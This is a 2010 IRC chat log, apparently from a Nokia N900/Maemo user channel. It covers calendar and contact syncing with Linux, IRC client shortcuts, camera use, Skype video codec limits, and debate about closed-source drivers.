Sep 21 22:30:11 lcuk: well, no Sep 21 22:30:14 but she has a crappy phone anyway Sep 21 22:30:24 not worth watching photos on such a tiny screen Sep 21 22:30:34 plus i'm not sure her MMSes work Sep 21 22:46:18 kerio, try it, surprise her and send a pic of you smiling :) Sep 21 22:56:15 Click ------> #tdwiki-voteout <------ click it Sep 21 23:16:41 lcuk: I have fmms on my phone, so I am pretty sure I can send mms, but I have not sucseeded in reciving one yet Sep 21 23:24:36 I hear someone says I have to be disconnected from wifi, to recive mmms Sep 21 23:24:41 ooops, mms Sep 21 23:24:54 But it late here, so I have to go to bed :) Sep 21 23:38:11 Hi there late :) Sep 21 23:38:43 what should be the best/nicest way to sync my n900 w/ my debian ? Sep 21 23:39:59 sync what Sep 21 23:40:46 sync agenda/contacts/messages Sep 21 23:41:14 kfx : i am using kontact/kde on my debian Sep 21 23:41:53 massoud: that has been the subject of a kde google summer of code project two years running Sep 21 23:42:04 I guess you could make both sync to google calendar Sep 21 23:42:11 they almost got it working last year and this year they started from scratch Sep 21 23:42:19 except it keeps on breaking in mysterious ways Sep 21 23:42:21 so currently yes you need some form of middleware Sep 21 23:42:55 actual calendar database is just sqlite database though, so hacking that isn't too difficult Sep 21 23:43:32 kfx: any middleware working in the meantime ? Sep 21 23:43:46 thanks for this update on the g summer of code info Sep 21 23:44:24 I've had reasonable results using sogo,syncevolution,and kontact or thunderbird Sep 21 23:44:33 but sogo is not easy to set up Sep 21 23:45:02 you might try using scheduleworld or some such, or if you have no objections to google just sync to their stuff on both ends Sep 21 23:47:22 kfx: so i should try sogo, syncrevolution and kontact ? Sep 21 23:47:49 massoud: you need to be very good at configuring software on linux for sogo to be your solution Sep 21 23:48:16 it requres installing a large-ish gnustep software stack, then sogo, then a funambol connector with a correctly configured tomcat instance Sep 21 23:48:36 I used centos to simplify things a bit, but it is not a trivial task Sep 21 23:48:59 then you have to manually configure syncevolution the old-fashioned "create a million text files" method Sep 21 23:49:07 and also spend a lot of time praying Sep 21 23:51:08 kfx: wouah funambol + tomcat :) Sep 21 23:51:29 funambol ships tomcat, that's how it talks to the world by default Sep 21 23:51:54 after several days of trying to cram a wildcard cert plus intermediate certs into tomcat I just proxied the goddamn thing behind apache :/ Sep 21 23:52:09 lol Sep 21 23:52:15 lol Sep 21 23:53:12 I hate just about every aspect of java Sep 21 23:53:23 but the keystore is phenomenally retarded Sep 22 00:51:43 how to get xchat on maemo to run in fullscreen? Sep 22 00:53:16 last one i used didn't support that fredrinN900 Sep 22 00:53:41 strange Sep 22 00:54:04 what clients do people use on their n900? Sep 22 00:56:31 irssi here fredrinN900 Sep 22 00:56:40 xchat is very popular though Sep 22 01:01:22 xchat here Sep 22 01:01:56 ctrl-enter Sep 22 01:02:00 I wish there was a Quassel client build Sep 22 01:04:48 Would be nice. Sep 22 01:05:01 With a quassel-text-client too Sep 22 01:05:12 pfft text clients Sep 22 01:14:58 What was the alternative to camkeyd? Sep 22 01:17:18 speedevil: thanks Sep 22 01:17:27 and tab? Sep 22 01:17:41 I believe the default binding is alt-rightarrow Sep 22 01:17:42 for nick autocomplete? Sep 22 01:17:48 err Sep 22 01:17:51 alt-space Sep 22 01:17:59 shift space even Sep 22 01:18:05 I havre it set as shift-rightarrow Sep 22 01:18:14 makes you wonder what idiot designed the NIT keyboards Sep 22 01:18:16 to omit the tab key Sep 22 01:18:17 SpeedEvil: nice Sep 22 01:18:33 true Sep 22 01:18:49 personally, I mapped the Fullscreen key to tab on my N810, but n900 does't hae it :/ Sep 22 01:19:04 luke-jr: what other mobile device includes a tab kettle? Sep 22 01:19:08 Key* Sep 22 01:19:12 settings -> advanced -> keyboard Sep 22 01:19:20 Tab kettle as well though Sep 22 01:19:28 TermanaDesire: all the Sharp handhelds? Sep 22 01:19:43 SpeedEvil: ? Sep 22 01:19:53 SpeedEvil: the Settings app can make the N900 keyboard grow? Sep 22 01:20:08 yes Sep 22 01:20:13 luke-jr: yeah and how outdated are those things now? Sep 22 01:20:22 You set it right, and an IBM clicky keyboard pops out. Sep 22 01:20:27 * fredrinN900 is happy with nickcomplete and fullscreen Sep 22 01:20:27 TermanaDesire: quite. Hence my $800 bounty toward a good handheld. Sep 22 01:20:30 Be careful you don't enable this in a pocket Sep 22 01:20:57 and ctrl + backspace for multitaks Sep 22 01:21:05 SpeedEvil: :p so that's the n900's Easter egg Sep 22 01:21:21 yeah. Sep 22 01:22:50 14 people have been killed by activating the church organ keyboard. Sep 22 01:23:19 :) Sep 22 01:23:36 And you know what the n900's Christmas present is don't you? Sep 22 01:23:59 pr1.3 Sep 22 01:24:04 BME Sep 22 01:24:21 * TermanaDesire cackles Sep 22 01:24:59 eh? Sep 22 01:26:44 * fredrinN900 want gnome cheese photobooth for the front cam to take party pics :D Sep 22 01:27:10 even for the back cam Sep 22 01:27:34 what do people use the front cam for? Sep 22 01:28:40 … Sep 22 01:28:51 which side do you consider front? Sep 22 01:29:06 Lol Sep 22 01:29:14 I use the 5 MP side for taking pictures and videos Sep 22 01:29:21 and the VGA side for video calls Sep 22 01:29:26 vga Sep 22 01:29:45 luke-jr is obviously our resident nut case Sep 22 01:29:50 … Sep 22 01:29:51 i've only used it for vidcalls myself Sep 22 01:30:24 both gmail and skype vidcalls Sep 22 01:30:27 luke-jr: how could you not know what he meant by front? Sep 22 01:30:47 TermanaDesire: he's very pedantic Sep 22 01:30:52 TermanaDesire: when I hold my N900 in the car, the 5 MP side is in the front. Sep 22 01:31:06 when it sits flat on my desk, the VGA side is front Sep 22 01:31:18 would like to have a virtual cam aswell so i could show pics or just stream music over skype Sep 22 01:31:31 be remote dj :D Sep 22 01:31:33 … Sep 22 01:31:39 luke-jr: I see, so you view the screen by looking at it in the mirror? Sep 22 01:31:47 on skypeparties Sep 22 01:31:50 fredrinN900: if you're going to be a remote DJ, just use MPD Sep 22 01:31:57 TermanaDesire: no Sep 22 01:31:59 TermanaDesire: 2 mirrors otherwise it's backwards ;) Sep 22 01:32:01 fredrinN900, huh, that's kind of an interesting idea Sep 22 01:32:11 nah, more people have skype installed Sep 22 01:32:16 … Sep 22 01:32:19 no, they don't. Sep 22 01:32:27 more people have Windows Media Player installed Sep 22 01:32:35 which AFAIK can stream Shoutcast fine Sep 22 01:32:36 webcamstudio is nice on ubuntu Sep 22 01:32:56 luke-jr: true Sep 22 01:33:01 would be cool to have a 'screencast' virtual input for v4l Sep 22 01:33:18 a vloopback driver exist Sep 22 01:33:19 might not do the trick for video very well though Sep 22 01:34:18 would be nice if we could get a Skype that was compatible with something other than Windows tho Sep 22 01:35:05 luke-jr, eh? our skype can't call linux/mac? Sep 22 01:35:16 johnx: not with video Sep 22 01:35:17 yes Sep 22 01:35:20 linux/mac clients are out of date Sep 22 01:35:25 ugh Sep 22 01:35:30 that's pretty lame Sep 22 01:35:39 yup Sep 22 01:35:47 eh, lame Sep 22 01:35:50 if true Sep 22 01:35:52 no good reason for the limitation etiher afaik Sep 22 01:35:57 just a codec mismatch Sep 22 01:35:59 luke-jr: nope, but only skype can fix it Sep 22 01:36:06 N900 probably has the right codec, but Skype won't use it Sep 22 01:36:27 wmarone: Nokia can't fix the N900 to support the old codec? Sep 22 01:36:39 doubtful Sep 22 01:36:49 I suspect it's entirely something within the skype libraries Sep 22 01:36:59 :/ Sep 22 01:37:08 either on the N900 or in the linux/mac clients Sep 22 01:37:27 I'm sure on the Linux/Mac cleints Sep 22 01:37:33 N900 it would seem Nokia has code for Sep 22 01:37:43 seem Sep 22 01:37:46 it'd be outright irresponsible for them to ship a blob they don't have code or Sep 22 01:37:47 for* Sep 22 01:38:04 not really, i'd be more surprised if that wasn't common practice Sep 22 01:38:07 luke-jr, you know they do that for other things anyways. why is it surprising? Sep 22 01:47:48 johnx: do they? Sep 22 02:00:15 luke-jr, uhm, the SGX drivers for one? Sep 22 02:00:43 johnx: Nokia doesn't have the code for those⁇ Sep 22 02:00:59 they might. I'd bet they actually don't Sep 22 02:01:12 … Sep 22 02:01:24 there should be a law against selling a product you can't vouch for Sep 22 02:01:52 so if they didn't design every chip in the device, they couldn't sell it? Sep 22 02:02:23 if they don't have the designs for it ;p Sep 22 02:02:33 nothing would get done Sep 22 02:02:37 certainly an improvement Sep 22 02:02:45 luke-jr, no more trade secrets? Sep 22 02:02:49 wmarone: more like all of a sudden everyone goes open source Sep 22 02:02:55 well, no Sep 22 02:03:03 wmarone: they wouldn't have a choice. Sep 22 02:03:14 johnx: trade secrets are … trade Sep 22 02:03:16 not design Sep 22 02:03:34 luke-jr: do tell, why would anyone put in the effort to design a circuit if they could sell it once? Sep 22 02:03:54 wmarone: nobody said they could only sell it once Sep 22 02:03:57 sure Sep 22 02:04:04 every corporation interested in the bottom line Sep 22 02:04:05 and if that were in fact the case, they just need to set the price right Sep 22 02:04:43 nah Sep 22 02:04:59 they'd just go to trade-secret and find a way to make the chip opaque to x-ray and self destruct when decapped Sep 22 02:05:17 that'd be illegal Sep 22 02:05:35 ⁇ Sep 22 02:05:38 what the hell Sep 22 02:05:46 this can't be easier than just typing ?? Sep 22 02:06:00 kfx, hand writing recognition? Sep 22 02:06:23 skype has been around for a long time with a very useful binary vector into many systems behind firewalls Sep 22 02:06:35 I think you mean "...recognitio" Sep 22 02:06:46 oh that's like three unicode chars too Sep 22 02:06:50 nice Sep 22 02:06:54 I miss 1987 Sep 22 02:07:26 i miss not having to deal with internationalization Sep 22 02:08:05 back when learning a program was intensive work enough to make the language irrelevant Sep 22 02:08:07 stupid plan9 had to make utf-8 libs that made sense Sep 22 02:08:30 then evvverybody had to get in on it Sep 22 02:26:36 Hi All, **** ENDING LOGGING AT Wed Sep 22 02:59:57 2010